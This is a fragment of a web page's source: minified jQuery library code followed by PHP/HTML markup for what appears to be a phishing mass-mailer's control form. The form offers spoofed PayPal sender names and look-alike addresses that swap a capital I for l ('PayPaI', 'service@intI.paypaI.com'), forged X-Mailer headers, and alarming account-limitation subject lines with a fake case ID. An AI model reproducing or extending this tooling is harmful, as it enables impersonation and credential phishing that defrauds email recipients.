null}}}jQuery.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){jQuery.propFix[this.toLowerCase()]=this});if(!support.enctype){jQuery.propFix.enctype="encoding"}var rclass=/[\t\r\n\f]/g;jQuery.fn.extend({addClass:function(value){var classes,elem,cur,clazz,j,finalValue,i=0,len=this.length,proceed=typeof value==="string"&&value;if(jQuery.isFunction(value)){return this.each(function(j){jQuery(this).addClass(value.call(this,j,this.className))})}if(proceed){classes=(value||"").match(rnotwhite)||[];for(;i<len;i++){elem=this[i];cur=elem.nodeType===1&&(elem.className?(" "+elem.className+" ").replace(rclass," "):" ");if(cur){j=0;while((clazz=classes[j++])){if(cur.indexOf(" "+clazz+" ")<0){cur+=clazz+" "}}finalValue=jQuery.trim(cur);if(elem.className!==finalValue){elem.className=finalValue}}}}return this},removeClass:function(value){var classes,elem,cur,clazz,j,finalValue,i=0,len=this.length,proceed=arguments.length===0||typeof value==="string"&&value;if(jQuery.isFunction(value)){return this.each(function(j){jQuery(this).removeClass(value.call(this,j,this.className))})}if(proceed){classes=(value||"").match(rnotwhite)||[];for(;i<len;i++){elem=this[i];cur=elem.nodeType===1&&(elem.className?(" "+elem.className+" ").replace(rclass," "):"");if(cur){j=0;while((clazz=classes[j++])){while(cur.indexOf(" "+clazz+" ")>=0){cur=cur.replace(" "+clazz+" "," ")}}finalValue=value?jQuery.trim(cur):"";if(elem.className!==finalValue){elem.className=finalValue}}}}return this},toggleClass:function(value,stateVal){var type=typeof value;if(typeof stateVal==="boolean"&&type==="string"){return stateVal?this.addClass(value):this.removeClass(value)}if(jQuery.isFunction(value)){return this.each(function(i){jQuery(this).toggleClass(value.call(this,i,this.className,stateVal),stateVal)})}return this.each(function(){if(type==="string"){var className,i=0,self=jQuery(this),classNames=value.match(rnotwhite)||[];while((className=classNames[i++])){if(self.hasClass(className)){self.removeClass(className)}else{self.addClass(className)}}}else if(type===strundefined||type==="boolean"){if(this.className){jQuery._data(this,"__className__",this.className)}this.className=this.className||value===false?"":jQuery._data(this,"__className__")||""}})},hasClass:function(selector){var className=" "+selector+" ",i=0,l=this.length;for(;i<l;i++){if(this[i].nodeType===1&&(" "+this[i].className+" ").replace(rclass," ").indexOf(className)>=0){return true}}return false}});jQuery.each(("blur focus focusin focusout load resize scroll unload click dblclick "+"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave "+"change select submit keydown keypress keyup error contextmenu").split(" "),function(i,name){jQuery.fn[name]=function(data,fn){return arguments.length>0?this.on(name,null,data,fn):this.trigger(name)}});jQuery.fn.extend({hover:function(fnOver,fnOut){return this.mouseenter(fnOver).mouseleave(fnOut||fnOver)},bind:function(types,data,fn){return this.on(types,null,data,fn)},unbind:function(types,fn){return this.off(types,null,fn)},delegate:function(selector,types,data,fn){return this.on(types,selector,data,fn)},undelegate:function(selector,types,fn){return arguments.length===1?this.off(selector,"**"):this.off(types,selector||"**",fn)}});var nonce=jQuery.now();var rquery=(/\?/);var rvalidtokens=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;jQuery.parseJSON=function(data){if(window.JSON&&window.JSON.parse){return window.JSON.parse(data+"")}var requireNonComma,depth=null,str=jQuery.trim(data+"");return str&&!jQuery.trim(str.replace(rvalidtokens,function(token,comma,open,close){if(requireNonComma&&comma){depth=0}if(depth===0){return token}requireNonComma=open||comma;depth+=!close-!open;return""}))?(Function("return "+str))():jQuery.error("Invalid JSON: "+data)};jQuery.parseXML=function(data){var xml,tmp;if(!data||typeof data!=="string"){return null}try{if(window.DOMParser){tmp=new DOMParser();xml=tmp.parseFromString(data,"text/xml")}else{xml=new ActiveXObject("Microsoft.XMLDOM");xml.async="false";xml.loadXML(data)}}catch(e){xml=undefined}if(!xml||!xml.documentElement||xml.getElementsByTagName("parsererror").length){jQuery.error("Invalid XML: "+data)}return xml};var ajaxLocParts,ajaxLocation,rhash=/#.*$/,rts=/([?&])_=[^&]*/,rheaders=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,rlocalProtocol=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,rnoContent=/^(?:GET|HEAD)$/,rprotocol=/^\/\//,rurl=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,prefilters={},transports={},allTypes="*/".concat("*");try{ajaxLocation=location.href}catch(e){ajaxLocation=document.createElement("a");ajaxLocation.href="";ajaxLocation=ajaxLocation.href}ajaxLocParts=rurl.exec(ajaxLocation.toLowerCase())||[];function addToPrefiltersOrTransports(structure){return function(dataTypeExpression,func){if(typeof dataTypeExpression!=="string"){func=dataTypeExpression;dataTypeExpression="*"}var dataType,i=0,dataTypes=dataTypeExpression.toLowerCase().match(rnotwhite)||[];if(jQuery.isFunction(func)){while((dataType=dataTypes[i++])){if(dataType.charAt(0)==="+"){dataType=dataType.slice(1)||"*";(structure[dataType]=structure[dataType]||[]).unshift(func)}else{(structure[dataType]=structure[dataType]||[]).push(func)}}}}}function inspectPrefiltersOrTransports(structure,options,originalOptions,jqXHR){var inspected={},seekingTransport=(structure===transports);function inspect(dataType){var selected;inspected[dataType]=true;jQuery.each(structure[dataType]||[],function(_,prefilterOrFactory){var dataTypeOrTransport=prefilterOrFactory(options,originalOptions,jqXHR);if(typeof dataTypeOrTransport==="string"&&!seekingTransport&&!inspected[dataTypeOrTransport]){options.dataTypes.unshift(dataTypeOrTransport);inspect(dataTypeOrTransport);return false}else if(seekingTransport){return!(selected=dataTypeOrTransport)}});return selected}return inspect(options.dataTypes[0])||!inspected["*"]&&inspect("*")}function ajaxExtend(target,src){var deep,key,flatOptions=jQuery.ajaxSettings.flatOptions||{};for(key in src){if(src[key]!==undefined){(flatOptions[key]?target:(deep||(deep={})))[key]=src[key]}}if(deep){jQuery.extend(true,target,deep)}return target}function ajaxHandleResponses(s,jqXHR,responses){var firstDataType,ct,finalDataType,type,contents=s.contents,dataTypes=s.dataTypes;while(dataTypes[0]==="*"){dataTypes.shift();if(ct===undefined){ct=s.mimeType||jqXHR.getResponseHeader("Content-Type")}}if(ct){for(type in contents){if(contents[type]&&contents[type].test(ct)){dataTypes.unshift(type);break}}}if(dataTypes[0]in responses){finalDataType=dataTypes[0]}else{for(type in responses){if(!dataTypes[0]||s.converters[type+" "+dataTypes[0]]){finalDataType=type;break}if(!firstDataType){firstDataType=type}}finalDataType=finalDataType||firstDataType}if(finalDataType){if(finalDataType!==dataTypes[0]){dataTypes.unshift(finalDataType)}return responses[finalDataType]}}function ajaxConvert(s,response,jqXHR,isSuccess){var conv2,current,conv,tmp,prev,converters={},dataTypes=s.dataTypes.slice();if(dataTypes[1]){for(conv in s.converters){converters[conv.toLowerCase()]=s.converters[conv]}}current=dataTypes.shift();while(current){if(s.responseFields[current]){jqXHR[s.responseFields[current]]=response}if(!prev&&isSuccess&&s.dataFilter){response=s.dataFilter(response,s.dataType)}prev=current;current=dataTypes.shift();if(current){if(current==="*"){current=prev}else if(prev!=="*"&&prev!==current){conv=converters[prev+" "+current]||converters["* "+current];if(!conv){for(conv2 in converters){tmp=conv2.split(" ");if(tmp[1]===current){conv=converters[prev+" "+tmp[0]]||converters["* "+tmp[0]];if(conv){if(conv===true){conv=converters[conv2]}else if(converters[conv2]!==true){current=tmp[0];dataTypes.unshift(tmp[1])}break}}}}if(conv!==true){if(conv&&s["throws"]){response=conv(response)}else{try{response=conv(response)}catch(e){return{state:"parsererror",error:conv?e:"No conversion from "+prev+" to "+current}}}}}}}return{state:"success",data:response}}jQuery.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:ajaxLocation,type:"GET",isLocal:rlocalProtocol.test(ajaxLocParts[1]),global:true,processData:true,async:true,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":allTypes,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":true,"text json":jQuery.parseJSON,"text xml":jQuery.parseXML},flatOptions:{url:true,context:true}},ajaxSetup:function(target,settings){return settings?ajaxExtend(ajaxExtend(target,jQuery.ajaxSettings),settings):ajaxExtend(jQuery.ajaxSettings,target)},ajaxPrefilter:addToPrefiltersOrTransports(prefilters),ajaxTransport:addToPrefiltersOrTransports(transports),ajax:function(url,options){if(typeof url==="object"){options=url;url=undefined}options=options||{};var parts,i,cacheURL,responseHeadersString,timeoutTimer,fireGlobals,transport,responseHeaders,s=jQuery.ajaxSetup({},options),callbackContext=s.context||s,globalEventContext=s.context&&(callbackContext.nodeType||callbackContext.jquery)?jQuery(callbackContext):jQuery.event,deferred=jQuery.Deferred(),completeDeferred=jQuery.Callbacks("once memory"),statusCode=s.statusCode||{},requestHeaders={},requestHeadersNames={},state=0,strAbort="canceled",jqXHR={readyState:0,getResponseHeader:function(key){var match;if(state===2){if(!responseHeaders){responseHeaders={};while((match=rheaders.exec(responseHeadersString))){responseHeaders[match[1].toLowerCase()]=match[2]}}match=responseHeaders[key.toLowerCase()]}return match==null?null:match},getAllResponseHeaders:function(){return state===2?responseHeadersString:null},setRequestHeader:function(name,value){var lname=name.toLowerCase();if(!state){name=requestHeadersNames[lname]=requestHeadersNames[lname]||name;requestHeaders[name]=value}return this},overrideMimeType:function(type){if(!state){s.mimeType=type}return this},statusCode:function(map){var code;if(map){if(state<2){for(code in map){statusCode[code]=[statusCode[code],map[code]]}}else{jqXHR.always(map[jqXHR.status])}}return this},abort:function(statusText){var finalText=statusText||strAbort;if(transport){transport.abort(finalText)}done(0,finalText);return this}};deferred.promise(jqXHR).complete=completeDeferred.add;jqXHR.success=jqXHR.done;jqXHR.error=jqXHR.fail;s.url=((url||s.url||ajaxLocation)+"").replace(rhash,"").replace(rprotocol,ajaxLocParts[1]+"//");s.type=options.method||options.type||s.method||s.type;s.dataTypes=jQuery.trim(s.dataType||"*").toLowerCase().match(rnotwhite)||[""];if(s.crossDomain==null){parts=rurl.exec(s.url.toLowerCase());s.crossDomain=!!(parts&&(parts[1]!==ajaxLocParts[1]||parts[2]!==ajaxLocParts[2]||(parts[3]||(parts[1]==="http:"?"80":"443"))!==(ajaxLocParts[3]||(ajaxLocParts[1]==="http:"?"80":"443"))))}if(s.data&&s.processData&&typeof s.data!=="string"){s.data=jQuery.param(s.data,s.traditional)}inspectPrefiltersOrTransports(prefilters,s,options,jqXHR);if(state===2){return jqXHR}fireGlobals=jQuery.event&&s.global;if(fireGlobals&&jQuery.active++===0){jQuery.event.trigger("ajaxStart")}s.type=s.type.toUpperCase();s.hasContent=!rnoContent.test(s.type);cacheURL=s.url;if(!s.hasContent){if(s.data){cacheURL=(s.url+=(rquery.test(cacheURL)?"&":"?")+s.data);delete s.data}if(s.cache===false){s.url=rts.test(cacheURL)?cacheURL.replace(rts,"$1_="+nonce++):cacheURL+(rquery.test(cacheURL)?"&":"?")+"_="+nonce++}}if(s.ifModified){if(jQuery.lastModified[cacheURL]){jqXHR.setRequestHeader("If-Modified-Since",jQuery.lastModified[cacheURL])}if(jQuery.etag[cacheURL]){jqXHR.setRequestHeader("If-None-Match",jQuery.etag[cacheURL])}}if(s.data&&s.hasContent&&s.contentType!==false||options.contentType){jqXHR.setRequestHeader("Content-Type",s.contentType)}jqXHR.setRequestHeader("Accept",s.dataTypes[0]&&s.accepts[s.dataTypes[0]]?s.accepts[s.dataTypes[0]]+(s.dataTypes[0]!=="*"?", "+allTypes+"; q=0.01":""):s.accepts["*"]);for(i in s.headers){jqXHR.setRequestHeader(i,s.headers[i])}if(s.beforeSend&&(s.beforeSend.call(callbackContext,jqXHR,s)===false||state===2)){return jqXHR.abort()}strAbort="abort";for(i in{success:1,error:1,complete:1}){jqXHR[i](s[i])}transport=inspectPrefiltersOrTransports(transports,s,options,jqXHR);if(!transport){done(-1,"No Transport")}else{jqXHR.readyState=1;if(fireGlobals){globalEventContext.trigger("ajaxSend",[jqXHR,s])}if(s.async&&s.timeout>0){timeoutTimer=setTimeout(function(){jqXHR.abort("timeout")},s.timeout)}try{state=1;transport.send(requestHeaders,done)}catch(e){if(state<2){done(-1,e)}else{throw e;}}}function done(status,nativeStatusText,responses,headers){var isSuccess,success,error,response,modified,statusText=nativeStatusText;if(state===2){return}state=2;if(timeoutTimer){clearTimeout(timeoutTimer)}transport=undefined;responseHeadersString=headers||"";jqXHR.readyState=status>0?4:0;isSuccess=status>=200&&status<300||status===304;if(responses){response=ajaxHandleResponses(s,jqXHR,responses)}response=ajaxConvert(s,response,jqXHR,isSuccess);if(isSuccess){if(s.ifModified){modified=jqXHR.getResponseHeader("Last-Modified");if(modified){jQuery.lastModified[cacheURL]=modified}modified=jqXHR.getResponseHeader("etag");if(modified){jQuery.etag[cacheURL]=modified}}if(status===204||s.type==="HEAD"){statusText="nocontent"}else if(status===304){statusText="notmodified"}else{statusText=response.state;success=response.data;error=response.error;isSuccess=!error}}else{error=statusText;if(status||!statusText){statusText="error";if(status<0){status=0}}}jqXHR.status=status;jqXHR.statusText=(nativeStatusText||statusText)+"";if(isSuccess){deferred.resolveWith(callbackContext,[success,statusText,jqXHR])}else{deferred.rejectWith(callbackContext,[jqXHR,statusText,error])}jqXHR.statusCode(statusCode);statusCode=undefined;if(fireGlobals){globalEventContext.trigger(isSuccess?"ajaxSuccess":"ajaxError",[jqXHR,s,isSuccess?success:error])}completeDeferred.fireWith(callbackContext,[jqXHR,statusText]);if(fireGlobals){globalEventContext.trigger("ajaxComplete",[jqXHR,s]);if(!(--jQuery.active)){jQuery.event.trigger("ajaxStop")}}}return jqXHR},getJSON:function(url,data,callback){return jQuery.get(url,data,callback,"json")},getScript:function(url,callback){return jQuery.get(url,undefined,callback,"script")}});jQuery.each(["get","post"],function(i,method){jQuery[method]=function(url,data,callback,type){if(jQuery.isFunction(data)){type=type||callback;callback=data;data=undefined}return jQuery.ajax({url:url,type:method,dataType:type,data:data,success:callback})}});jQuery._evalUrl=function(url){return jQuery.ajax({url:url,type:"GET",dataType:"script",async:false,global:false,"throws":true})};jQuery.fn.extend({wrapAll:function(html){if(jQuery.isFunction(html)){return this.each(function(i){jQuery(this).wrapAll(html.call(this,i))})}if(this[0]){var wrap=jQuery(html,this[0].ownerDocument).eq(0).clone(true);if(this[0].parentNode){wrap.insertBefore(this[0])}wrap.map(function(){var elem=this;while(elem.firstChild&&elem.firstChild.nodeType===1){elem=elem.firstChild}return elem}).append(this)}return this},wrapInner:function(html){if(jQuery.isFunction(html)){return this.each(function(i){jQuery(this).wrapInner(html.call(this,i))})}return this.each(function(){var self=jQuery(this),contents=self.contents();if(contents.length){contents.wrapAll(html)}else{self.append(html)}})},wrap:function(html){var isFunction=jQuery.isFunction(html);return this.each(function(i){jQuery(this).wrapAll(isFunction?html.call(this,i):html)})},unwrap:function(){return this.parent().each(function(){if(!jQuery.nodeName(this,"body")){jQuery(this).replaceWith(this.childNodes)}}).end()}});jQuery.expr.filters.hidden=function(elem){return elem.offsetWidth<=0&&elem.offsetHeight<=0||(!support.reliableHiddenOffsets()&&((elem.style&&elem.style.display)||jQuery.css(elem,"display"))==="none")};jQuery.expr.filters.visible=function(elem){return!jQuery.expr.filters.hidden(elem)};var r20=/%20/g,rbracket=/\[\]$/,rCRLF=/\r?\n/g,rsubmitterTypes=/^(?:submit|button|image|reset|file)$/i,rsubmittable=/^(?:input|select|textarea|keygen)/i;function buildParams(prefix,obj,traditional,add){var name;if(jQuery.isArray(obj)){jQuery.each(obj,function(i,v){if(traditional||rbracket.test(prefix)){add(prefix,v)}else{buildParams(prefix+"["+(typeof v==="object"?i:"")+"]",v,traditional,add)}})}else if(!traditional&&jQuery.type(obj)==="object"){for(name in obj){buildParams(prefix+"["+name+"]",obj[name],traditional,add)}}else{add(prefix,obj)}}jQuery.param=function(a,traditional){var prefix,s=[],add=function(key,value){value=jQuery.isFunction(value)?value():(value==null?"":value);s[s.length]=encodeURIComponent(key)+"="+encodeURIComponent(value)};if(traditional===undefined){traditional=jQuery.ajaxSettings&&jQuery.ajaxSettings.traditional}if(jQuery.isArray(a)||(a.jquery&&!jQuery.isPlainObject(a))){jQuery.each(a,function(){add(this.name,this.value)})}else{for(prefix in a){buildParams(prefix,a[prefix],traditional,add)}}return s.join("&").replace(r20,"+")};jQuery.fn.extend({serialize:function(){return jQuery.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var elements=jQuery.prop(this,"elements");return elements?jQuery.makeArray(elements):this}).filter(function(){var type=this.type;return this.name&&!jQuery(this).is(":disabled")&&rsubmittable.test(this.nodeName)&&!rsubmitterTypes.test(type)&&(this.checked||!rcheckableType.test(type))}).map(function(i,elem){var val=jQuery(this).val();return val==null?null:jQuery.isArray(val)?jQuery.map(val,function(val){return{name:elem.name,value:val.replace(rCRLF,"\r\n")}}):{name:elem.name,value:val.replace(rCRLF,"\r\n")}}).get()}});jQuery.ajaxSettings.xhr=window.ActiveXObject!==undefined?function(){return!this.isLocal&&/^(get|post|head|put|delete|options)$/i.test(this.type)&&createStandardXHR()||createActiveXHR()}:createStandardXHR;var xhrId=0,xhrCallbacks={},xhrSupported=jQuery.ajaxSettings.xhr();if(window.attachEvent){window.attachEvent("onunload",function(){for(var key in xhrCallbacks){xhrCallbacks[key](undefined,true)}})}support.cors=!!xhrSupported&&("withCredentials"in xhrSupported);xhrSupported=support.ajax=!!xhrSupported;if(xhrSupported){jQuery.ajaxTransport(function(options){if(!options.crossDomain||support.cors){var callback;return{send:function(headers,complete){var i,xhr=options.xhr(),id=++xhrId;xhr.open(options.type,options.url,options.async,options.username,options.password);if(options.xhrFields){for(i in options.xhrFields){xhr[i]=options.xhrFields[i]}}if(options.mimeType&&xhr.overrideMimeType){xhr.overrideMimeType(options.mimeType)}if(!options.crossDomain&&!headers["X-Requested-With"]){headers["X-Requested-With"]="XMLHttpRequest"}for(i in headers){if(headers[i]!==undefined){xhr.setRequestHeader(i,headers[i]+"")}}xhr.send((options.hasContent&&options.data)||null);callback=function(_,isAbort){var status,statusText,responses;if(callback&&(isAbort||xhr.readyState===4)){delete xhrCallbacks[id];callback=undefined;xhr.onreadystatechange=jQuery.noop;if(isAbort){if(xhr.readyState!==4){xhr.abort()}}else{responses={};status=xhr.status;if(typeof xhr.responseText==="string"){responses.text=xhr.responseText}try{statusText=xhr.statusText}catch(e){statusText=""}if(!status&&options.isLocal&&!options.crossDomain){status=responses.text?200:404}else if(status===1223){status=204}}}if(responses){complete(status,statusText,responses,xhr.getAllResponseHeaders())}};if(!options.async){callback()}else if(xhr.readyState===4){setTimeout(callback)}else{xhr.onreadystatechange=xhrCallbacks[id]=callback}},abort:function(){if(callback){callback(undefined,true)}}}}})}function createStandardXHR(){try{return new window.XMLHttpRequest()}catch(e){}}function createActiveXHR(){try{return new window.ActiveXObject("Microsoft.XMLHTTP")}catch(e){}}jQuery.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(text){jQuery.globalEval(text);return text}}});jQuery.ajaxPrefilter("script",function(s){if(s.cache===undefined){s.cache=false}if(s.crossDomain){s.type="GET";s.global=false}});jQuery.ajaxTransport("script",function(s){if(s.crossDomain){var script,head=document.head||jQuery("head")[0]||document.documentElement;return{send:function(_,callback){script=document.createElement("script");script.async=true;if(s.scriptCharset){script.charset=s.scriptCharset}script.src=s.url;script.onload=script.onreadystatechange=function(_,isAbort){if(isAbort||!script.readyState||/loaded|complete/.test(script.readyState)){script.onload=script.onreadystatechange=null;if(script.parentNode){script.parentNode.removeChild(script)}script=null;if(!isAbort){callback(200,"success")}}};head.insertBefore(script,head.firstChild)},abort:function(){if(script){script.onload(undefined,true)}}}}});var oldCallbacks=[],rjsonp=/(=)\?(?=&|$)|\?\?/;jQuery.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var callback=oldCallbacks.pop()||(jQuery.expando+"_"+(nonce++));this[callback]=true;return callback}});jQuery.ajaxPrefilter("json jsonp",function(s,originalSettings,jqXHR){var callbackName,overwritten,responseContainer,jsonProp=s.jsonp!==false&&(rjsonp.test(s.url)?"url":typeof s.data==="string"&&!(s.contentType||"").indexOf("application/x-www-form-urlencoded")&&rjsonp.test(s.data)&&"data");if(jsonProp||s.dataTypes[0]==="jsonp"){callbackName=s.jsonpCallback=jQuery.isFunction(s.jsonpCallback)?s.jsonpCallback():s.jsonpCallback;if(jsonProp){s[jsonProp]=s[jsonProp].replace(rjsonp,"$1"+callbackName)}else if(s.jsonp!==false){s.url+=(rquery.test(s.url)?"&":"?")+s.jsonp+"="+callbackName}s.converters["script json"]=function(){if(!responseContainer){jQuery.error(callbackName+" was not called")}return responseContainer[0]};s.dataTypes[0]="json";overwritten=window[callbackName];window[callbackName]=function(){responseContainer=arguments};jqXHR.always(function(){window[callbackName]=overwritten;if(s[callbackName]){s.jsonpCallback=originalSettings.jsonpCallback;oldCallbacks.push(callbackName)}if(responseContainer&&jQuery.isFunction(overwritten)){overwritten(responseContainer[0])}responseContainer=overwritten=undefined});return"script"}});jQuery.parseHTML=function(data,context,keepScripts){if(!data||typeof data!=="string"){return null}if(typeof context==="boolean"){keepScripts=context;context=false}context=context||document;var parsed=rsingleTag.exec(data),scripts=!keepScripts&&[];if(parsed){return[context.createElement(parsed[1])]}parsed=jQuery.buildFragment([data],context,scripts);if(scripts&&scripts.length){jQuery(scripts).remove()}return jQuery.merge([],parsed.childNodes)};var _load=jQuery.fn.load;jQuery.fn.load=function(url,params,callback){if(typeof url!=="string"&&_load){return _load.apply(this,arguments)}var selector,response,type,self=this,off=url.indexOf(" ");if(off>=0){selector=jQuery.trim(url.slice(off,url.length));url=url.slice(0,off)}if(jQuery.isFunction(params)){callback=params;params=undefined}else if(params&&typeof params==="object"){type="POST"}if(self.length>0){jQuery.ajax({url:url,type:type,dataType:"html",data:params}).done(function(responseText){response=arguments;self.html(selector?jQuery("<div>").append(jQuery.parseHTML(responseText)).find(selector):responseText)}).complete(callback&&function(jqXHR,status){self.each(callback,response||[jqXHR.responseText,status,jqXHR])})}return this};jQuery.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(i,type){jQuery.fn[type]=function(fn){return this.on(type,fn)}});jQuery.expr.filters.animated=function(elem){return jQuery.grep(jQuery.timers,function(fn){return elem===fn.elem}).length};var docElem=window.document.documentElement;function getWindow(elem){return jQuery.isWindow(elem)?elem:elem.nodeType===9?elem.defaultView||elem.parentWindow:false}jQuery.offset={setOffset:function(elem,options,i){var curPosition,curLeft,curCSSTop,curTop,curOffset,curCSSLeft,calculatePosition,position=jQuery.css(elem,"position"),curElem=jQuery(elem),props={};if(position==="static"){elem.style.position="relative"}curOffset=curElem.offset();curCSSTop=jQuery.css(elem,"top");curCSSLeft=jQuery.css(elem,"left");calculatePosition=(position==="absolute"||position==="fixed")&&jQuery.inArray("auto",[curCSSTop,curCSSLeft])>-1;if(calculatePosition){curPosition=curElem.position();curTop=curPosition.top;curLeft=curPosition.left}else{curTop=parseFloat(curCSSTop)||0;curLeft=parseFloat(curCSSLeft)||0}if(jQuery.isFunction(options)){options=options.call(elem,i,curOffset)}if(options.top!=null){props.top=(options.top-curOffset.top)+curTop}if(options.left!=null){props.left=(options.left-curOffset.left)+curLeft}if("using"in options){options.using.call(elem,props)}else{curElem.css(props)}}};jQuery.fn.extend({offset:function(options){if(arguments.length){return options===undefined?this:this.each(function(i){jQuery.offset.setOffset(this,options,i)})}var docElem,win,box={top:0,left:0},elem=this[0],doc=elem&&elem.ownerDocument;if(!doc){return}docElem=doc.documentElement;if(!jQuery.contains(docElem,elem)){return box}if(typeof elem.getBoundingClientRect!==strundefined){box=elem.getBoundingClientRect()}win=getWindow(doc);return{top:box.top+(win.pageYOffset||docElem.scrollTop)-(docElem.clientTop||0),left:box.left+(win.pageXOffset||docElem.scrollLeft)-(docElem.clientLeft||0)}},position:function(){if(!this[0]){return}var offsetParent,offset,parentOffset={top:0,left:0},elem=this[0];if(jQuery.css(elem,"position")==="fixed"){offset=elem.getBoundingClientRect()}else{offsetParent=this.offsetParent();offset=this.offset();if(!jQuery.nodeName(offsetParent[0],"html")){parentOffset=offsetParent.offset()}parentOffset.top+=jQuery.css(offsetParent[0],"borderTopWidth",true);parentOffset.left+=jQuery.css(offsetParent[0],"borderLeftWidth",true)}return{top:offset.top-parentOffset.top-jQuery.css(elem,"marginTop",true),left:offset.left-parentOffset.left-jQuery.css(elem,"marginLeft",true)}},offsetParent:function(){return this.map(function(){var offsetParent=this.offsetParent||docElem;while(offsetParent&&(!jQuery.nodeName(offsetParent,"html")&&jQuery.css(offsetParent,"position")==="static")){offsetParent=offsetParent.offsetParent}return offsetParent||docElem})}});jQuery.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(method,prop){var top=/Y/.test(prop);jQuery.fn[method]=function(val){return access(this,function(elem,method,val){var win=getWindow(elem);if(val===undefined){return win?(prop in win)?win[prop]:win.document.documentElement[method]:elem[method]}if(win){win.scrollTo(!top?val:jQuery(win).scrollLeft(),top?val:jQuery(win).scrollTop())}else{elem[method]=val}},method,val,arguments.length,null)}});jQuery.each(["top","left"],function(i,prop){jQuery.cssHooks[prop]=addGetHookIf(support.pixelPosition,function(elem,computed){if(computed){computed=curCSS(elem,prop);return rnumnonpx.test(computed)?jQuery(elem).position()[prop]+"px":computed}})});jQuery.each({Height:"height",Width:"width"},function(name,type){jQuery.each({padding:"inner"+name,content:type,"":"outer"+name},function(defaultExtra,funcName){jQuery.fn[funcName]=function(margin,value){var chainable=arguments.length&&(defaultExtra||typeof margin!=="boolean"),extra=defaultExtra||(margin===true||value===true?"margin":"border");return access(this,function(elem,type,value){var doc;if(jQuery.isWindow(elem)){return elem.document.documentElement["client"+name]}if(elem.nodeType===9){doc=elem.documentElement;return Math.max(elem.body["scroll"+name],doc["scroll"+name],elem.body["offset"+name],doc["offset"+name],doc["client"+name])}return value===undefined?jQuery.css(elem,type,extra):jQuery.style(elem,type,value,extra)},type,chainable?margin:undefined,chainable,null)}})});jQuery.fn.size=function(){return this.length};jQuery.fn.andSelf=jQuery.fn.addBack;if(typeof define==="function"&&define.amd){define("jquery",[],function(){return jQuery})}var _jQuery=window.jQuery,_$=window.$;jQuery.noConflict=function(deep){if(window.$===jQuery){window.$=_$}if(deep&&window.jQuery===jQuery){window.jQuery=_jQuery}return jQuery};if(typeof noGlobal===strundefined){window.jQuery=window.$=jQuery}return jQuery}));</script> </div>
182
183 <div class="col-sm-4" style="padding-left: 7.5px !important;">
184 <div style="margin-bottom: 10px" class="input-group">
185 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i><b> Content Type</b></span>
186 <select class="form-control" name="type">
187 <option value="html" <?php if ($type=='html'){echo 'selected';}?> >text/html</option>
188 <option value="plain" <?php if ($type=='plain'){echo 'selected';}?> >text/plain</option>
189 </select>
190 </div>
191 <div style="margin-bottom: 10px" class="input-group">
192 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
193 <select class="form-control" onChange="Pilih4(this);">
194 <option value="">No X-Mailer</option>
195 <option value="Gleez CMS 0.10.5">Gleez CMS 0.10.5</option>
196 <option value="Gleez CMS 1.1.6">Gleez CMS 1.1.6</option>
197 <option value="EDMAIL R6.00.02">EDMAIL R6.00.02</option>
198 <option value="PHP/<?php echo(phpversion());?>">PHP/<?php echo(phpversion());?></option>
199 </select>
200 <input id="xmailer" type="text" class="form-control" name="xmailer" value="<?=$xmailer;?>" placeholder="X-Mailer">
201 </div>
202 </div>
203 </div>
204
205 <div class="col-sm-8" style="padding-right: 7.5px !important;">
206
207 <div style="margin-bottom: 10px" class="input-group">
208 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
209 <select class="form-control" onChange="Pilih1(this);">
210 <option value="">Select Sender Name</option>
211 <option value="PayPaI">PayPaI</option>
212 <option value="PaypaI Service">PaypaI Service</option>
213 <option value="PaypaI Support">PaypaI Support</option>
214 <option value="Account Service">Account Service</option>
215 <option value="Account Support">Account Support</option>
216 <option value="Service">Service</option>
217 </select>
218 <input id="sender-name" type="text" class="form-control" name="nama" value="<?=$nama;?>" placeholder="Type Sender Name">
219 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
220 <select class="form-control kanan" onChange="Pilih2(this);">
221 <option value="">Select Sender Email</option>
222 <option value="service@intI.paypaI.com">service@intI.paypaI.com</option>
223 <option value="service@paypaI.co.uk">service@paypaI.co.uk</option>
224 <option value="paypaI@e.paypaI.co.uk">paypaI@e.paypaI.co.uk</option>
225 <option value="no-reply">no-reply</option>
226 <option value="admin">admin</option>
227 <option value="service">service</option>
228 <option value="same as target">same as target</option>
229
230 </select>
231 <input id="sender-email" type="text" class="form-control kanan-l" name="mail" value="<?=$email;?>" placeholder="Type Sender Email">
232 </div>
233
234 <div style="margin-bottom: 10px" class="input-group">
235 <span class="input-group-addon"><i class="glyphicon glyphicon-comment"></i></span>
236 <select class="form-control kanan" onChange="Pilih3(this);">
237 <option value="">Select Email Subject</option>
238 <option value="Your account has been Iimited untiI we hear from you">Your account has been Iimited untiI we hear from you</option>
239 <option value="We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)">We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)</option>
240 <option value="We've Iimited access to your PayPaI account">We've Iimited access to your PayPaI account</option>
241 <option value="Account Notification">Account Notification</option>
242 <option value="Attention: Your account status change">Attention: Your account status change</option>
243
244 </select>
